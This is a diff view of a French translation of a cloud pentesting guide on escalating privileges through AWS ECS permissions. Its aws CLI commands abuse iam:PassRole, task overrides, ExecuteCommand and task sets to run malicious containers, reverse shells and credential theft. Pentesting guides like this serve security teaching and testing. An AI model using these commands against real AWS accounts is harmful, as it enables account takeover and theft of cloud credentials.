Dans l'extrait de code ci-dessus, un attaquant ne remplace que la valeur de `taskRoleArn`. Cependant, l'attaquant doit disposer de la permission `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et sur le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse avoir lieu.
|
||||
|
||||
Si le rôle IAM que l'attaquant peut passer dispose de privilèges suffisants pour récupérer l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attaquant peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`.
|
||||
Si le rôle IAM que l'attaquant peut passer possède suffisamment de privilèges pour récupérer l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attaquant peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel ECS task role.
|
||||
**Impact potentiel :** privesc direct sur n'importe quel ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle task definition** avec un **malicious container** qui vole les metadata credentials et **l'exécuter**.\
|
||||
Cependant, dans ce cas, une container instance pour exécuter la malicious task definition doit être présente.
|
||||
Comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle task definition** avec un **conteneur malveillant** qui dérobe les identifiants de métadonnées et **l'exécuter**.\
|
||||
Cependant, dans ce cas, une instance de conteneur pour exécuter la task definition malveillante est nécessaire.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Impact potentiel :** Direct privesc to any ECS role.
|
||||
**Impact potentiel:** Direct privesc to any ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** dans ECS peut **générer une nouvelle task definition** avec un **conteneur malveillant** qui vole les metadata credentials et **l'exécuter en créant un nouveau service avec au moins 1 task en cours d'exécution.**
|
||||
|
||||
Comme dans l'exemple précédent, un attaquant abusant des **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** permissions dans ECS peut **générer une nouvelle définition de tâche** avec un **containeur malveillant** qui vole les identifiants de métadonnées et **l'exécuter en créant un nouveau service avec au moins 1 tâche en cours d'exécution.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -173,7 +174,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
En fait, rien qu'avec ces permissions, il est possible d'utiliser des overrides pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire, par exemple :
|
||||
En fait, avec seulement ces permissions, il est possible d'utiliser overrides pour exécuter des commandes arbitraires dans un container avec un rôle arbitraire, avec quelque chose comme :
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,16 +182,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers n'importe quel rôle ECS.
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel ECS role.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\
|
||||
Cela reste intéressant car si vous pouvez exécuter un conteneur arbitraire, même sans rôle, vous pourriez **lancer un conteneur privilégié pour vous échapper** vers le node et **voler le rôle IAM EC2** ainsi que les **autres rôles des conteneurs ECS** s'exécutant sur le node.\
|
||||
Vous pourriez même **forcer d'autres tasks à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
C'est toujours intéressant car si vous pouvez exécuter un container arbitraire, même sans role, vous pourriez **run a privileged container to escape** vers le node et **steal the EC2 IAM role** et les **other ECS containers roles** s'exécutant sur le node.\
|
||||
Vous pourriez même **force other tasks to run inside the EC2 instance** que vous compromettez pour voler leurs credentials (comme expliqué dans la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Cette attaque n'est possible que si le **cluster ECS utilise des instances EC2** et non Fargate.
|
||||
> Cette attaque n'est possible que si le **ECS cluster is using EC2** instances et non pas Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,7 +234,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui lui est attaché (vous avez besoin des permissions Describe car c'est nécessaire pour lancer `aws ecs execute-command`).\
|
||||
Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions describe parce que c'est nécessaire pour exécuter `aws ecs execute-command`).\
|
||||
Cependant, pour cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui, par défaut, n'est pas le cas).
|
||||
|
||||
Par conséquent, l'attaquant pourrait essayer de :
|
||||
@@ -256,12 +257,12 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Si l'utilisateur dispose de **`ecs:RunTask`**, lancer une tâche avec `aws ecs run-task --enable-execute-command [...]`
|
||||
- Si l'utilisateur dispose de **`ecs:StartTask`**, lancer une tâche avec `aws ecs start-task --enable-execute-command [...]`
|
||||
- Si l'utilisateur dispose de **`ecs:CreateService`**, créer un service avec `aws ecs create-service --enable-execute-command [...]`
|
||||
- Si l'utilisateur dispose de **`ecs:UpdateService`**, mettre à jour un service avec `aws ecs update-service --enable-execute-command [...]`
|
||||
- S'il a **`ecs:RunTask`**, exécutez une tâche avec `aws ecs run-task --enable-execute-command [...]`
|
||||
- S'il a **`ecs:StartTask`**, exécutez une tâche avec `aws ecs start-task --enable-execute-command [...]`
|
||||
- S'il a **`ecs:CreateService`**, créez un service avec `aws ecs create-service --enable-execute-command [...]`
|
||||
- S'il a **`ecs:UpdateService`**, mettez à jour un service avec `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Vous pouvez trouver **des exemples de ces options** dans les **sections ECS privesc précédentes**.
|
||||
Vous pouvez trouver **des exemples de ces options** dans **les sections précédentes d'ECS privesc**.
|
||||
|
||||
**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs.
|
||||
|
||||
@@ -285,14 +286,14 @@ aws-ec2-privesc.md
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tâches. Cela pourrait permettre à l'attaquant d'exécuter du code arbitraire dans le contexte des tâches ECS.
|
||||
|
||||
- TODO : Est-il possible d'enregistrer une instance depuis un autre compte AWS afin que les tâches s'exécutent sur des machines contrôlées par l'attaquant ??
|
||||
- TODO : Est-il possible d'enregistrer une instance depuis un compte AWS différent pour que les tâches s'exécutent sur des machines contrôlées par l'attaquant ?
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester ceci
|
||||
|
||||
Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le primary task set**. Cela permet à l'attaquant de **exécuter du code arbitraire au sein du service**.
|
||||
Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le task set primaire**. Cela permet à l'attaquant de **exécuter du code arbitraire au sein du service**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,7 +319,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, pouvant affecter son fonctionnement ou exfiltrer des données sensibles.
|
||||
**Impact potentiel**: Exécuter du code arbitraire dans le service affecté, pouvant compromettre son fonctionnement ou exfiltrer des données sensibles.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
Reference in New Issue
Block a user